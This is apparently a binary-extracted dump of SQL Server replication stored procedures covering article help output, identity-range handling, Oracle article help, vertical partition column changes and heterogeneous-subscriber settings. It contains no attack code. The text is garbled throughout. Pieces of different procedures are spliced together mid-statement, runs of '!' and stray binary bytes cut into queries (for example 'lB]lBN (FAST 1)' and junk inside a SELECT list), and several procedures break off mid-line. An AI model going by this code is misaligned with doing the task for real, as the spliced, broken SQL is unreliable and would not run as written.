                 schema_name(o.schema_id), o.name,
                 schema_name(sync.schema_id), sync.name,
                 schema_name(fltr.schema_id), fltr.name,
                 a.fire_triggers_on_snapshot
           FROM syspublications b, 
                sys.objects o, 
                sysextendedarticlesview a 
           LEFT JOIN sys.objects fltr on a.filter = fltr.object_id
           LEFT JOIN sys.objects sync on a.sync_objid = sync.object_id
           WHERE  ((@article = N'%') or (a.name = @article))
             AND a.objid = o.object_id
             AND a.pubid = b.pubid
             AND b.name = @publication)
    END

    IF is_member(N'db_owner') = 1
    BEGIN
        EXEC sys.sp_releaseapplock @Resource = @publication, @LockOwner = N'Session', @DbPrincipal = N'db_owner'
    END
    --
    -- update the qualified names with existing data
    --
    UPDATE #tab1
        SET source_table = QUOTENAME(source_owner) + '.' + QUOTENAME(unqua_source_object)
        ,sync_object = QUOTENAME(sync_object_owner) + '.' + QUOTENAME(unqua_sync_object)
        ,filter = QUOTENAME(filter_owner) + '.' + QUOTENAME(unqua_filter)
        ,IsArtSchemaBound = objectproperty(objid, 'IsSchemaBound')

    --
    -- identity specific processing
    --
    DECLARE #hC  CURSOR LOCAL FAST_FORWARD FOR 
        SELECT artid, name, pubid, objid FROM #tab1
    OPEN #hC
    FETCH #hC INTO @artid, @article, @pubid, @objid
    WHILE (@@fetch_status <> -1)
    BEGIN
        IF EXISTS (SELECT *
            FROM (sysextendedarticlesview a join sys.columns b
                on a.objid = b.object_id)
        WHERE a.name = @article
            AND a.pubid = @pubid 
            and b.column_id not in  (select colid from sysarticlecolumns where artid = a.artid))
        begin
            UPDATE #tab1
            SET vpartition = 1
            WHERE name = @article
                AND pubid = @pubid
        end
        --
        -- determine the identityrangemanagementoption value
        -- initialize variables
        --
        select @identityrangemanagementoption = null
                ,@identitycolname = null
        -- check if we have an identity column
        select @identitycolname = name
        from sys.columns
        where object_id = @objid and ColumnProperty(object_id, name, 'IsIdentity') = 1
        if (@identitycolname is null)
        begin
            --
            -- We have no identity column
            -- Check if P2P is enabled for this publication
            --
            if exists (select * from syspublications 
                            where name = @publication
                                and (options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P)
            begin
                -- P2P enable publication - return manual - eases scripting
                select @identityrangemanagementoption = 2 -- manual
            end
            else
            begin
                -- regular publication
                select @identityrangemanagementoption = 0 -- none
            end
        end
        else
        begin
            --
            -- We have an identity column 
            -- check if it is NFR enabled
            --
            if (ColumnProperty(@objid, @identitycolname, 'IsIdNotForRepl') = 1)
            begin
                --
                -- NFR enabled
                -- check if sysarticlesupdates has range information
                --
                if exists (select * from dbo.sysarticleupdates
                                where artid = @artid and pubid = @pubid 
                                    and identity_support = 1)
                begin
                    -- range option is set
                    select @identityrangemanagementoption = 1 -- auto
                end
                else
                begin
                    -- range option is not set
                    select @identityrangemanagementoption = 2 -- manual
                end
            end
            else
            begin
                --
                -- NFR not enabled
                --
                select @identityrangemanagementoption = 0 -- none
            end
        end
        --
        -- update identitymanagementoption column
        --                
        UPDATE #tab1
        SET identityrangemanagementoption = @identityrangemanagementoption
        WHERE name = @article
            AND pubid = @pubid
        --
        -- fetch next article entry
        --
        FETCH #hC INTO @artid, @article, @pubid, @objid
    END
    CLOSE #hC
    DEALLOCATE #hC

	IF (@rmo = 0)
	BEGIN
		-- Normal usage
	    SELECT	'article id'                    = art.artid,
				'article name'                  = name,
				'base object'                   = source_table,
				'destination object'            = dest_table,
				'synchronization object'        = sync_object,
				'type'                          = case 
				                                    when art.IsArtSchemaBound = 1 and type <> 0x80 then 0x0100 | convert(smallint, type)
				                                    else type 
				                                  end,    
				'status'                        = status & ~32,
				'filter'                        = filter,
				'description'                   = description,
				'insert_command'                = ins_cmd,
				'update_command'                = upd_cmd,
				'delete_command'                = del_cmd,
				'creation script path'          = creation_script,
				'vertical partition'            = vpartition,
				'pre_creation_cmd'              = pre_creation_cmd,
				-- filter_clause is null when @return_filter is 0
				'filter_clause'                 = filter_clause,
				'schema_option'                 = schema_option,
				'dest_owner'                    = dest_owner,
				'source_owner'                  = source_owner,
				'unqua_source_object'           = unqua_source_object,
				'sync_object_owner'             = sync_object_owner,
				'unqualified_sync_object'       = unqua_sync_object,
				'filter_owner'                  = filter_owner,
				'unqua_filter'                  = unqua_filter,
				'auto_identity_range'           = isnull(artupd.identity_support, 0),
				'publisher_identity_range'      = abs(iden.pub_range),
				'identity_range'                = abs(iden.range),
				'threshold'                     = iden.threshold,   
				'identityrangemanagementoption' = identityrangemanagementoption,
				'fire_triggers_on_snapshot'     = fire_triggers_on_snapshot
	    FROM #tab1 art
	        left join sysarticleupdates artupd on art.artid = artupd.artid
	        left join MSpub_identity_range iden on art.objid = iden.objid
	    ORDER BY 2
	END
	ELSE
	BEGIN
		-- Extended RMO version
	    SELECT	'article id'                    = art.artid,
				'article name'                  = name,
				'base object'                   = source_table,
				'destination object'            = dest_table,
				'synchronization object'        = sync_object,
				'type'                          = case 
				                                    when art.IsArtSchemaBound = 1 and type <> 0x80 then 0x0100 | convert(smallint, type)
				                                    else type 
				                                  end,    
				'status'                        = status & ~32,
			!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<|eWT	'filter'                        = filter,
				'description'                   = description,
				'insert_command'                = ins_cmd,
				'update_command'                = upd_cmd,
				'delete_command'                = del_cmd,
				'creation script path'          = creation_script,
				'vertical partition'            = vpartition,
				'pre_creation_cmd'              = pre_creation_cmd,
				-- filter_clause is null when @return_filter is 0
				'filter_clause'                 = filter_clause,
				'schema_option'                 = schema_option,
				'dest_owner'                    = dest_owner,
				'source_owner'                  = source_owner,
				'unqua_source_object'           = unqua_source_object,
				'sync_object_owner'             = sync_object_owner,
				'unqualified_sync_object'       = unqua_sync_object,
				'filter_owner'                  = filter_owner,
				'unqua_filter'                  = unqua_filter,
				'auto_identity_range'           = isnull(artupd.identity_support, 0),
				'publisher_identity_range'      = abs(iden.pub_range),
				'identity_range'                = abs(iden.range),
				'threshold'                     = iden.threshold,   
				'identityrangemanagementoption' = identityrangemanagementoption,
				'fire_triggers_on_snapshot'     = fire_triggers_on_snapshot,
				'tablespace'					= NULL,
				'use_default_datatypes'			= 1
	    FROM #tab1 art
	        left join sysarticleupdates artupd on art.artid = artupd.artid
	        left join MSpub_identity_range iden on art.objid = iden.objid
	    ORDER BY 2
	END

	if @@rowcount > 0
		SELECT @found=1

    RETURN (0)
end
;     -- work was rolled back to savepoint)
            end
            return 1
        end
    end

    
    -- Delete anonymous agents that are not in subscription table anymore
    -- It is due to dropping articles. Don't raise messages
    if @subscriber_id = @virtual
    begin
    	delete MScached_peer_lsns 
    		where agent_id in (select msda.id 
    							from MSdistribution_agents msda
    								join dbo.MSsubscriptions mss
    								on msda.anonymous_agent_id <> mss.agent_id
    							where msda.anonymous_agent_id is not null)
    	 if @@error <> 0
        begin
            if @@trancount > 0
            begin
                rollback transaction MSdrop_subscription
                commit transaction  -- to finish off the tran we started in this proc (though 
                                -- work was rolled back to savepoint)
            end
            return 1
        end					
    		
        delete MSdistribution_agents where
            anonymous_agent_id is not null and 
            not exists (select * from dbo.MSsubscriptions s where
                s.agent_id = anonymous_agent_id)


        if @@error <> 0
        begin
            if @@trancount > 0
            begin
                rollback transaction MSdrop_subscription
                commit transaction  -- to finish off the tran we started in this proc (though 
                                -- work was rolled back to savepoint)
            end
            return 1
        end
    end


	-- delete any rows in syncstate tracking table

	delete MSsync_states where 
		publisher_id = @publisher_id and
		publisher_db = @publisher_db and
		publication_id = @publication_id 

    if @@error <> 0
    begin
        if @@trancount > 0
        begin
            rollback transaction MSdrop_subscription
            commit transaction  -- to finish off the tran we started in this proc (though 
                            -- work was rolled back to savepoint)
        end
        return 1
    end


    commit transaction
end
lB]lBN (FAST 1)
    end
    -- The agent has finished snapshot transactions but it has loopback detection.
    else if @num_loopback <> 0 and @originator_id <> 0
    begin
        -- Join plus loopback
        select rc.xact_seqno, rc.partial_command, rc.type,
            rc.command_id, rc.command, rc.hashkey
            from                
                MSrepl_commands rc with (nolock, INDEX(ucMSrepl_commands))
                JOIN dbo.MSsubscriptions s with (INDEX(ucMSsubscriptions))
	            -- At end, we use the FASTFIRSTROW option which tends to force
	            -- a nested inner loop join driven from MSrepl_commands
	            ON (rc.article_id = s.article_id)
            where

            s.agent_id = @agent_id and
            rc.publisher_database_id = @publisher_database_id and
            rc.xact_seqno > @last_xact_seqno and
            rc.xact_seqno <= @max_xact_seqno and
            (rc.type & @snapshot_bit) <> @snapshot_bit and
			(rc.type & ~@snapshot_bit) not in ( 37, 38 ) and
            --
            -- Loopback detection
            --
            (s.loopback_detection = 0 or
            rc.originator_id <> @originator_id) 
            and (@compatibility_level >= 9000000 
				or (rc.type & ~@postcmd_bit) not in (47))
        order by rc.xact_seqno, rc.command_id asc
        OPTION (FAST 1)
    end
    -- The agent has finished snapshot transactions. It has NO loopback detection.
    else 
    begin
        -- Mini join along. Only agent_id and article_id columns in dbo.MSsubscriptions
        -- are used. So only index pages are needed for the join.
        select rc.xact_seqno, rc.partial_command, rc.type, 
        rc.command_id, rc.command, rc.hashkey,
        -- extra columns for the PeerToPeer resultset
		-- originator_id, srvname, dbname, originator_publication_id, originator_db_version, originator_lsn
		NULL, NULL, NULL, NULL, NULL, NULL
        from                
            MSrepl_commands rc with (nolock, INDEX(ucMSrepl_commands))
	        JOIN dbo.MSsubscriptions s with (INDEX(ucMSsubscriptions))
	        -- At end, we use the FASTFIRSTROW option which tends to force
	        -- a nested inner loop join driven from MSrepl_commands
	        ON (rc.article_id = s.article_id)
        where
        s.agent_id = @agent_id and
        rc.publisher_database_id = @publisher_database_id and
        rc.xact_seqno > @last_xact_seqno and
        rc.xact_seqno <= @max_xact_seqno and
        (rc.type & @snapshot_bit) <> @snapshot_bit and
		(rc.type & ~@snapshot_bit) not in ( 37, 38 )
		and (@compatibility_level >= 9000000 
				or (rc.type & ~@postcmd_bit) not in (47))
        order by rc.xact_seqno, rc.command_id asc
        OPTION (FAST 1)
    end

    -- Return the max seqno of this batch to distribution agent.
    select @max_xact_seqno, @@rowcount
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=`<(f?v:
--
-- Name: sp_ORAhelparticle
--
-- Description:
--		Oracle specific help article
--
-- NOTE:
--		RMO flag tells helparticle to report extended
--		HREPL columns (which will be NULL for SQL publishers)
--

create procedure sys.sp_ORAhelparticle
(
    @pubid			int,
    @article        sysname,
    @returnfilter   bit,
    @publisher      sysname,
    @found          int OUTPUT,
    @rmo			bit = 0
)
AS
BEGIN
    DECLARE @retcode int

    SET NOCOUNT ON

    SELECT @found = 0

    -- Use explicit converts for constants/computed columns because the UI is
    -- very sensitive to data type.  Use BOL as a reference
	IF (@rmo = 0)
	BEGIN
		-- Normal case
	    SELECT  'article id'                    = iha.article_id,
	            'article name'                  = iha.name,
	            'base object'                   = CONVERT(nvarchar(257), QUOTENAME(msa.source_owner) + '.' + QUOTENAME(msa.source_object)),
	            'destination object'            = iha.dest_table,
	            'synchronization object'        = CONVERT(nvarchar(257), NULL),
	            -- Shiloh defined sp_helparticle's type to be a smallint (via the temp table)
	            -- To maintain UI backcompat, convert to smallint explicitly.
	            'type'                          = CONVERT(smallint, iha.type),
	            'status'                        = CONVERT(int, iha.status & ~32),
	            'filter'                        = CONVERT(nvarchar(257), NULL),
	            'description'                   = msa.description,
	            'insert_command'                = iha.ins_cmd,
	            'update_command'                = iha.upd_cmd,
	            'delete_command'                = iha.del_cmd,
	            'creation script path'          = iha.creation_script,
	            'vertical partition'            = CASE WHEN
	                                                    (
	                                                        SELECT count(*)
	                                                        FROM   IHpublishercolumns ihpc
	                                                        WHERE  ihpc.table_id = iha.table_id
	                                                    ) !=
	                                                    (
	                                                        select count(*)
	                                                        FROM    IHcolumns ihc
	                                                        WHERE   ihc.article_id = iha.article_id
	                                                    ) THEN CONVERT(bit, 1)
	                                                    ELSE CONVERT(bit, 0)
	                                              END,
	            'pre_creation_cmd'              = iha.pre_creation_cmd,
	            'filter_clause'                 = CASE
	                                                  WHEN @returnfilter = 1 THEN iha.filter_clause
	                                                  ELSE CONVERT(ntext, NULL)
	                                              END,
	            'schema_option'                 = iha.schema_option,
	            'dest_owner'                    = iha.dest_owner, 
	            'source_owner'                  = msa.source_owner,
	            'unqua_source_object'           = msa.source_object, 
	            'sync_object_owner'             = iha.article_view_owner,
	            'unqualified_sync_object'       = iha.article_view,
	            'filter_owner'                  = CONVERT(sysname, NULL),
	            'unqua_filter'                  = CONVERT(sysname, NULL),
	            'auto_identity_range'           = CONVERT(bit, 0),
	            'publisher_identity_range'      = CONVERT(bigint, NULL),
	            'identity_range'                = CONVERT(bigint, NULL),
	            'threshold'                     = CONVERT(bigint, NULL),
	            'identityrangemanagementoption' = CONVERT(int, 0),
	            'fire_triggers_on_snapshot'     = iha.fire_triggers_on_snapshot
	    FROM    IHpublications ihp,
	            IHarticles iha,
	            MSarticles msa
	    WHERE   ihp.pubid      = iha.publication_id
	      AND   ihp.pubid      = msa.publication_id
	      AND   iha.article_id = msa.article_id
	      AND   ihp.pubid      = @pubid
	      AND    ((@article = N'%') or (iha.name = @article))
	    ORDER BY iha.name
	END
	ELSE
	BEGIN
		-- RMO version
		CREATE TABLE #ORAtablespaceinfo
		(
			article_id int,
			tablespace sysname
		)

		-- Get tablespace information
		EXEC @retcode = sp_ORAGetTablespaceInfo @publisher = @publisher
		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
			DROP TABLE #ORAtablespaceinfo
			RETURN (1)
		END

	    SELECT  'article id'                    = iha.article_id,
	            'article name'                  = iha.name,
	            'base object'                   = CONVERT(nvarchar(257), QUOTENAME(msa.source_owner) + '.' + QUOTENAME(msa.source_object)),
	            'destination object'            = iha.dest_table,
	            'synchronization object'        = CONVERT(nvarchar(257), NULL),
	            -- Shiloh defined sp_helparticle's type to be a smallint (via the temp table)
	            -- To maintain UI backcompat, convert to smallint explicitly.
	            'type'                          = CONVERT(smallint, iha.type),
	            'status'                        = CONVERT(int, iha.status & ~32),
	            'filter'                        = CONVERT(nvarchar(257), NULL),
	            'description'                   = msa.description,
	            'insert_command'                = iha.ins_cmd,
	            'update_command'                = iha.upd_cmd,
	            'delete_command'                = iha.del_cmd,
	            'creation script path'          = iha.creation_script,
	            'vertical partition'            = CASE WHEN
	                                                    (
	                                                        SELECT count(*)
	                                                        FROM   IHpublishercolumns ihpc
	                                                        WHERE  ihpc.table_id = iha.table_id
	                                                    ) !=
	                                                    (
	                                                        select count(*)
	                                                        FROM    IHcolumns ihc
	                                                        WHERE   ihc.article_id = iha.article_id
	                                                    ) THEN CONVERT(bit, 1)
	                                                    ELSE CONVERT(bit, 0)
	                                              END,
	            'pre_creation_cmd'              = iha.pre_creation_cmd,
	            'filter_clause'                 = CASE
	                                                  WHEN @returnfilter = 1 THEN iha.filter_clause
	                                                  ELSE CONVERT(ntext, NULL)
	                                              END,
	            'schema_option'                 = iha.schema_option,
	            'dest_owner'                    = iha.dest_owner, 
	            'source_owner'                  = msa.source_owner,
	            'unqua_source_object'           = msa.source_object, 
	            'sync_object_owner'             = iha.article_view_owner,
	            'unqualified_sync_object'       = iha.article_view,
	            'filter_owner'                  = CONVERT(sysname, NULL),
	            'unqua_filter'                  = CONVERT(sysname, NULL),
	            'auto_identity_range'           = CONVERT(bit, 0),
	            'publisher_identity_range'      = CONVERT(bigint, NULL),
	            'identity_range'                = CONVERT(bigint, NULL),
	            'threshold'                     = CONVERT(bigint, NULL),
	            'identityrange!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(g?
iv(8create procedure sys.sp_MSrepl_articlecolumn
(
	@publication				sysname,
	@article					sysname,
	@column						sysname = NULL,
	@operation					nvarchar(5) = N'add',
	-- synctran
	@refresh_synctran_procs		int = 1,  --note this param is bit in sp_articlecolumn
										--make it int here so we can overload it to deal with timestamp col
										--0 not to refresh sync proc
										--1 general purpose refresh
										--2 force refresh (only used by DDL trigger)
	@ignore_distributor			bit = 0,
	-- DDL
	@change_active				int = 0, -- 0: non-ddl, 2: ddl
	@force_invalidate_snapshot	bit = 0,
	@force_reinit_subscription	bit = 0,
	-- Peer-To-Peer
	@internal 					bit = 0
) 
AS
BEGIN
    /*
    ** Declarations.
    */

    DECLARE @bit tinyint                /* Bit offset */
			,@cnt tinyint, @idx tinyint  /* Loop counter, index */
			,@pubid int                  /* Publication identification number */
			,@retcode int                /* Return code for stored procedures */
			,@artid int
			,@active tinyint
			,@objid int            /* Article base table id */    
			,@tablename  sysname
			,@fSynctranColChanged bit
			,@pkkey sysname
			,@indid int
			,@index_cnt int
			,@allow_initialize_from_backup bit
			,@autogen_sync_procs_id bit
			,@sync_pubid int
			,@allow_queued_tran bit
			,@allow_sync_tran bit
			,@options int
			,@OPT_ENABLED_FOR_P2P int
			,@status int
			,@view_name nvarchar(386)
			,@filter_clause nvarchar(4000)
			,@sync_objid int
			,@art_type tinyint
			,@schema_option bigint
			,@is_udt bit
			,@is_xml bit
			,@is_max bit
            ,@is_filestream bit
            ,@sync_method tinyint

    select @active = 2
            ,@OPT_ENABLED_FOR_P2P = 0x1
            ,@fSynctranColChanged = 0
            ,@allow_initialize_from_backup = 0
            ,@operation = lower(@operation)

    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Check to see if the database has been activated for publication.
    ** Do not check if @ignore_distributor indicates brute force cleanup.
    */
    IF ( (SELECT category & 1
          FROM master.dbo.sysdatabases
         WHERE name = DB_NAME() collate database_default) = 0 )  and ( @ignore_distributor = 0 )

    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END
    /*
    ** Parameter Check:  @publication.
    ** Make sure that the publication exists and that it conforms to the
    ** rules for identifiers.
    */
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, N'@publication', 'sp_MSrepl_articlecolumn')
        RETURN (1)
    END
    EXECUTE @retcode = sys.sp_validname @publication
    IF @retcode <> 0
            RETURN (1)
    --
    -- get publication metadata
    --
    SELECT @pubid = pubid, 
        @allow_sync_tran = allow_sync_tran,
        @allow_queued_tran = allow_queued_tran,
        @allow_initialize_from_backup = allow_initialize_from_backup,
        @autogen_sync_procs_id = autogen_sync_procs, 
        @sync_pubid = pubid,
        @sync_method = sync_method,
        @options = options
        FROM syspublications WHERE name = @publication
    IF @pubid IS NULL
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END
    /*
    ** Parameter Check:  @article.
    ** Check to make sure that the article exists in the publication.
    */
    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, N'@article', 'sp_MSrepl_articlecolumn')
        RETURN (1)
    END
    /*
    	Enforce PeerToPeer restrictions
	    If it is P2P and not from an internal call then it must be called
    	by a user attempting to filter.
    */
    IF (@options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
        AND @internal = 0
    BEGIN
        -- Peer-To-Peer publications do not support filtering. Please change the '@publication' parameter value.
        RAISERROR(20646, 16, -1, 'filtering', '@publication')
        RETURN (1)
    END

    /*
    ** Make sure the article exists.
    */
        select @artid = sa.artid 
					,@status = sa.status
					,@sync_objid = sa.sync_objid
					,@filter_clause = sa.filter_clause
					,@art_type = sa.type
					,@schema_option = convert(bigint, sa.schema_option)
					,@objid = objid
					,@tablename = OBJECT_NAME(objid)
         FROM sysarticles sa JOIN syspublications sp ON sa.pubid = sp.pubid
         WHERE sa.name = @article 
         AND sp.name = @publication

    IF @artid IS NULL
    BEGIN
        RAISERROR (20027, 11, -1, @article)
        RETURN (1)
    END
    /*
    ** Error out if this is a not a table based article
    */
    IF ((@art_type & 1) = 0 )
    BEGIN
        RAISERROR (14112, 11, -1 )
        RETURN (1)
    END
    /*
    ** Parameter Check:  @operation.
    ** The operation can be either 'add' or 'drop'.
    */
    IF (@operation NOT IN (N'add', N'drop', N'alter'))
    BEGIN
        RAISERROR (14019, 16, -1)
        RETURN (1)
    END

	if exists (select * from sys.columns where object_id = @objid and is_column_set = 1)
	begin
		-- ErrorFormat: Can not publish article '%s' or add add ColumnSet column to its base table '%s' because Replication does not support ColumnSet.
        RAISERROR (21864, 16, -1, @article, @tablename)
        RETURN (1)
	end
        
    if @column is not null
    begin
        declare @colid  int
        select @colid=column_id from sys.columns where object_id=@objid and name=@column
        if @colid is null
        begin
            RAISERROR (14020, 16, -1)
            RETURN (1)
        end

        if (@operation = 'drop')
        begin       
            -- Vertical partition is only allowed on table-based article, not IV->table
            IF OBJECTPROPERTY(@objid, 'IsTable') <> 1
            BEGIN
                RAISERROR (14112, 11, -1 )
                RETURN (1)
            END
            -- PK column has to be included in vertical partition
            select @indid = indid 
                    ,@index_cnt = 1 
            from sysindexes 
            where id = @objid and (status & 2048) <> 0    /* PK index */
            while (@index_cnt <= 16)
            begin
                select @pkkey = INDEX_COL(@tablename, @indid, @index_cnt)
                if @pkkey is NULL
                    break
                if @pkkey=@column
                begin
                    raiserror(21250, 16, -1, @column)
                    return (1)
                end
                select @index_cnt = @index_cnt + 1
            end
            --
            -- for updating subscribers
            --
            if (@allow_sync_tran = 1 or @allow_queued_tran = 1) 
            begin
                --
                -- we cannot drop the versioning column from the partition.
                --
                if  N'msrepl_tran_version' = @column
                begin
                    RAISERROR (21080, 16, -1)
                    RETURN (1)
                end
                --
                -- Only columns that have default values can be outside the partition
                -- Note: do check error if it is schema change.
                --
                if @change_active = 0 and ColumnProperty(@objid, @column, N'IsIdentity') <> 1 and
                -- 189 is timestamp.
                    not exists (select * from sys.columns where object_id = @objid and 
                                name=@column and (is_nullable=1 or system_type_id = 189)) and
                    not exists (select * from sysconstraints where id=@objid and 
                                colid=@colid and OBJECTPROPERTY ( constid , 'IsDefaultCnst' ) = 1)
                BEGIN
                    RAISERROR(21165, 16, -1, @column)
                    return (1)
                END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`W<h?3IB0
 8
--
-- Name:    
--          sp_MSrepl_enable_articles_for_het_sub
--          
-- Description: 
--          Change the properties of all publication articles so that
--          they are suitable for a publication enabled for heterogeneous
--          subscriptions.
--  
-- Security:
--          Internal 
--
-- Returns:
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_MSrepl_enable_articles_for_het_sub
(
    @publication	sysname,
    @publisher		sysname,
    @publisher_type	sysname
    ,@mode tinyint -- 0 enable, 1 disable
) 
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @pubid		int
	DECLARE @pubtype	int
	DECLARE @article	sysname
	DECLARE @src_owner	sysname
	DECLARE @schema_option nvarchar(255)
	DECLARE @dest_owner	sysname
					,@ENABLE tinyint 
					,@DISABLE tinyint
					,@artid int
	
    -- Security Check  
	EXEC @retcode = sys.sp_MSreplcheck_publish

    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
	 	RETURN (1)
	END

	-- Get publisher id
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)
				,@ENABLE = 0
				,@DISABLE = 1

	-- Get publication info
	SELECT	@pubtype = repl_freq
	FROM	syspublications
	WHERE	pubid = @pubid

	-- Prepare cursor for articles
	DECLARE hArticles CURSOR LOCAL FAST_FORWARD FOR
	SELECT	name, dest_owner, artid
	FROM	sysarticles
	WHERE	pubid = @pubid

	OPEN	hArticles
	FETCH	hArticles INTO @article, @dest_owner, @artid

	WHILE (@@FETCH_STATUS != -1)
	BEGIN
	
		if (@mode = @ENABLE)
		begin
			-- Set the destination owner to NULL. 
			EXEC @retcode = sys.sp_changearticle	@publication				= @publication,
							@article					= @article,
							@property					= 'destination_owner',
							@value						= NULL,
							@force_invalidate_snapshot	= 1,
							@force_reinit_subscription	= 1,
							@publisher					= @publisher

			IF	@retcode != 0 OR @@ERROR != 0
			BEGIN
			    CLOSE		hArticles
			    DEALLOCATE	hArticles
			    RETURN (1)
			END

			-- Set fire_triggers_on_snapshot to 'false'. 
			EXEC @retcode = sys.sp_changearticle	@publication				= @publication,
							@article					= @article,
							@property					= 'fire_triggers_on_snapshot',
							@value						= 'false',
							@force_invalidate_snapshot	= 1,
							@force_reinit_subscription	= 1,
							@publisher					= @publisher

			IF	@retcode != 0 OR @@ERROR != 0
			BEGIN
			    CLOSE		hArticles
			    DEALLOCATE	hArticles
			    RETURN (1)
			END
			    
			-- TRAN specific options
			IF @pubtype = 0
			BEGIN
			    -- Set ins_cmd for articles
			    EXEC @retcode = sys.sp_changearticle	@publication				= @publication,
													    @article					= @article,
													    @property					= 'ins_cmd',
													    @value						= 'SQL',
													    @force_invalidate_snapshot	= 1,
													    @force_reinit_subscription	= 1,
													    @publisher					= @publisher

			    IF @retcode != 0 OR @@ERROR != 0
			    BEGIN
				    CLOSE		hArticles
				    DEALLOCATE	hArticles
				    RETURN (1)
			    END

			    -- Set upd_cmd for articles
			    EXEC @retcode = sys.sp_changearticle	@publication				= @publication,
													    @article					= @article,
													    @property					= 'upd_cmd',
													    @value						= 'SQL',
													    @force_invalidate_snapshot	= 1,
													    @force_reinit_subscription	= 1,
													    @publisher					= @publisher

			    IF @retcode != 0 OR @@ERROR != 0
			    BEGIN
				    CLOSE		hArticles
				    DEALLOCATE	hArticles
				    RETURN (1)
			    END

			    -- Set del_cmd for articles
			    EXEC @retcode = sys.sp_changearticle	@publication				= @publication,
													    @article					= @article,
													    @property					= 'del_cmd',
													    @value						= 'SQL',
													    @force_invalidate_snapshot	= 1,
													    @force_reinit_subscription	= 1,
													    @publisher					= @publisher

			    IF @retcode != 0 OR @@ERROR != 0
			    BEGIN
				    CLOSE		hArticles
				    DEALLOCATE	hArticles
				    RETURN (1)
			    END
			END

			IF @publisher_type = N'MSSQLSERVER'
			BEGIN
			    	-- Turn on create table, clustered index, convert to base types, non-clustered index, unique keys
			    	SELECT  @schema_option = sys.fn_varbintohexstr(CAST(fn_replgetbinary8lodword(fn_replprepadbinary8(0x4071)) AS varbinary(8)))
			END
			ELSE
			BEGIN
			     	-- Turn on create table, non-clustered index, unique keys
			    	SELECT  @schema_option = sys.fn_varbintohexstr(CAST(fn_replgetbinary8lodword(fn_replprepadbinary8(0x4041)) AS varbinary(8)))
			END

			EXEC @retcode = sys.sp_changearticle    @publication                = @publication,
			                                        @article                    = @article,
			                                        @property                   = 'schema_option',
			                                        @value                      = @schema_option,
			                                        @force_invalidate_snapshot  = 1,
			                                        @force_reinit_subscription  = 1,
			                                        @publisher                  = @publisher
			IF @retcode != 0 OR @@ERROR != 0
			BEGIN
			    	CLOSE       hArticles
			    	DEALLOCATE  hArticles
			    	RETURN (1)
			END
		end
		
		IF @publisher_type = N'MSSQLSERVER'
		BEGIN
			--this sets the nonsqlsub flag for columns in this article, so engine can prevent SQL only syntax to go through (e.g. updatetext)	    	
			declare @action nvarchar(5)
			select @action = case @mode when @ENABLE then N'add'
												else N'drop'
											end
			exec sys.sp_MSarticlecol @artid, NULL,N'nonsqlsub', @action
		END
	
	    -- Fetch next article
	    FETCH	hArticles INTO @article, @dest_owner, @art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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
